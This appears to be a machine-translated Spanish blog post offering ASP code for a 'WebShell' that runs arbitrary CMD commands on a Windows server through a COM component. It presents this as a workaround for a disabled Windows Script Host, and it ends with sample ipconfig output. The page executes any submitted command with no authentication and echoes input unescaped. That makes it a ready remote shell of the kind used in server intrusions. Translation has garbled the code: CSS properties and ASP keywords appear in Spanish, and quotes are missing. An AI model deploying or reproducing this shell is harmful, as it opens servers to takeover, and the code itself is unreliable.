A veces, cuando administramos el servidor, deshabilitaremos Windows Scripting Host for Security. Pero, ¿qué pasa si queremos deshabilitar WSH y usar nuestro propio WebShell para administrar la administración del servidor? Aquí hay una programación de componentes que implementa CMD en ASP y mostró resultados. Espero ayudar a todos.
|||
<!-
.singleborder {
borde: 1px sólido;
Color de fondo: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Color: #ffffff;
}
.noborder {
borde: 1px ninguno;
Color de fondo: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Color: #ffffff;
}
Cuerpo {Color de fondo: #000000; Color: #000000;
Font-Family: FixedSys;
->
</style>
<Form Action = Method = Post>
<input name = cmd class = singleBorder valor = <%= request.form (cmd)%> size = 102>
<input type = enviar class = singleBorder value = ejecute>
</form>
<%
if request.form (cmd) <> entonces
Establecer testMe = server.createObject (aspcmd.cmdshell)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<TextAREA cols = 120 filas = 30 class = noborder>
<%= testMe.exec1 (request.form (cmd))%> </textarea>
<% Set testMe = nada
final si
%>
El siguiente es el resultado de ejecutar ipconfig /all:
Configuración de IP de Windows 2000
Nombre del host .........: IBM-WRK-02
Sufijo DNS primario .......:
Tipo de nodo ..........: transmisión
Enrutamiento de IP habilitado .......: No
gana proxy habilitado .......: no
Conexión local del adaptador Ethernet:
Sufijo DNS específico de conexión. ::
Descripción ...........: Intel (R) Pro/100 VM Network Connection
Dirección física ....... .: 008-02-BD-D7-EB
DHCP habilitado .........: No
Dirección IP ........ ..: 192.168.0.4
Máscara de subred .........: 255.255.255.0
Gateway predeterminado ..........: 192.168.0.1
Servidores DNS .........: 202.106.196.115